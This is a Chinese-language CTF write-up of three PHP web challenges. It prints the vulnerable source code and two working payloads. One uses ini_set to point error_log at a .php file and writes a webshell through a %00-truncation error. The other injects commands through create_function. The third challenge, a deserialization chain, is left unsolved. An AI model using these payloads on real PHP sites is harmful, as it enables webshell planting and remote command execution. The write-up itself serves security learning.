前言
题目太多要复现不过来了555
官方wp:
红包挑战7
利用xdebug报错写马到错误日志
源码
<?php
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system(
"ls '".filter($_GET[1])."'"
);
function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}
审计一下源码,因为我们传入的参数1
外面套了一层单引号,而且过滤了单引号不能进行闭合,所以这里查看目录的命令是写死的
得从上面的extract($_GET);ini_set($name,$value);
入手,我这里尝试过利用这个函数来配置disabled_function以禁用filter
函数,但是disabled_function不能用ini_set
来写入
这里需要先遍历一下目录查找线索,在/usr/local/lib/php/extensions/
下查看php扩展
发现有xdebug
xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用%00进行截断来触发异常
那么这里就可以考虑利用异常报错
error_log配置:设置脚本错误将被记录到的文件,即报错信息将被写入到指定路径
利用ini_set
,我们可以实现写马命令执行
payload:
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>
然后访问1.php即可
红包挑战8
create_function命令注入
<?php
highlight_file(__FILE__);
error_reporting(0);
extract($_GET);
create_function($name,base64_encode($value))();
思路可以直接看我的rce文章
总之就是要先闭合create_function
然后执行命令
这里我们对$name
部分进行注入
payload:
?name=){system("ls /");}/*
于是创建的匿名函数就为
function __lambda_func(){system("ls /");}/*){$code;}
红包挑战9
代码审计
<?php
class user
{
public $id;
public $username;
private $password;
public function __toString()
{
return $this->username;
}
}
class cookie_helper
{
private $secret = "*************"; //敏感信息打码
public function getCookie($name)
{
return $this->verify($_COOKIE[$name]);
}
public function setCookie($name, $value)
{
$data = $value . "|" . md5($this->secret . $value);
setcookie($name, $data);
}
private function verify($cookie)
{
$data = explode('|', $cookie);
if (count($data) != 2) {
return null;
}
return md5($this->secret . $data[0]) === $data[1] ? $data[0] : null;
}
}
class mysql_helper
{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
public function __construct()
{
$this->init();
}
public function __wakeup()
{
$this->init();
}
private function init()
{
$this->db = array(
'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
'host' => '127.0.0.1',
'port' => '3306',
'dbname' => '****', //敏感信息打码
'username' => '****', //敏感信息打码
'password' => '****', //敏感信息打码
'charset' => 'utf8',
);
}
public function get_pdo()
{
try {
$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
} catch (PDOException $e) {
die('数据库连接失败:' . $e->getMessage());
}
return $pdo;
}
}
class application
{
public $cookie;
public $mysql;
public $dispather;
public $loger;
public $debug = false;
public function __construct()
{
$this->cookie = new cookie_helper();
$this->mysql = new mysql_helper();
$this->dispatcher = new dispatcher();
$this->loger = new userLogger();
$this->loger->setLogFileName("log.txt");
}
public function register($username, $password)
{
$this->loger->user_register($username, $password);
$pdo = $this->mysql;
$sql = "insert into user(username,password) values(?,?)";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username, $password));
return $pdo->lastInsertId() > 0;
}
public function login($username, $password)
{
$this->loger->user_login($username, $password);
$sql = "select id,username,password from user where username = ? and password = ?";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username, $password));
$ret = $stmt->fetch();
return $ret['password'] === $password;
}
public function getLoginName($name)
{
$data = $this->cookie->getCookie($name);
if ($data === NULL && isset($_GET['token'])) {
session_decode($_GET['token']);
$data = $_SESSION['user'];
}
return $data;
}
public function logout()
{
$this->loger->user_logout();
setCookie("user", NULL);
}
private function log_last_user()
{
$sql = "select username,password from user order by id desc limit 1";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute();
$ret = $stmt->fetch();
}
public function __destruct()
{
if ($this->debug) {
$this->log_last_user();
}
}
}
class userLogger
{
public $username;
private $password;
private $filename;
public function __construct()
{
$this->filename = "log.txt_$this->username-$this->password";
}
public function setLogFileName($filename)
{
$this->filename = $filename;
}
public function __wakeup()
{
$this->filename = "log.txt";
}
public function user_register($username, $password)
{
$this->username = $username;
$this->password = $password;
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户注册: 用户名 $username 密码 $password\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function user_login($username, $password)
{
$this->username = $username;
$this->password = $password;
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户登陆: 用户名 $username 密码 $password\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function user_logout()
{
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户退出: 用户名 $this->username\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function __destruct()
{
$data = "最后操作时间:" . date("Y-m-d H:i:s") . " 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename, $data, FILE_APPEND);
}
}
class dispatcher
{
public function sendMessage($msg)
{
echo "<script>alert('$msg');window.history.back();</script>";
}
public function redirect($route)
{
switch ($route) {
case 'login':
header("location:index.php?action=login");
break;
case 'register':
header("location:index.php?action=register");
break;
default:
header("location:index.php?action=main");
break;
}
}
}
可以看到里面出现了很多sql语句,但是由于都经过了预处理我们无法注入
那只能把思路转换到反序列化上,翻了一下,里面能利用的函数就是通过file_put_contents
写马
但是再往下本人就没啥思路了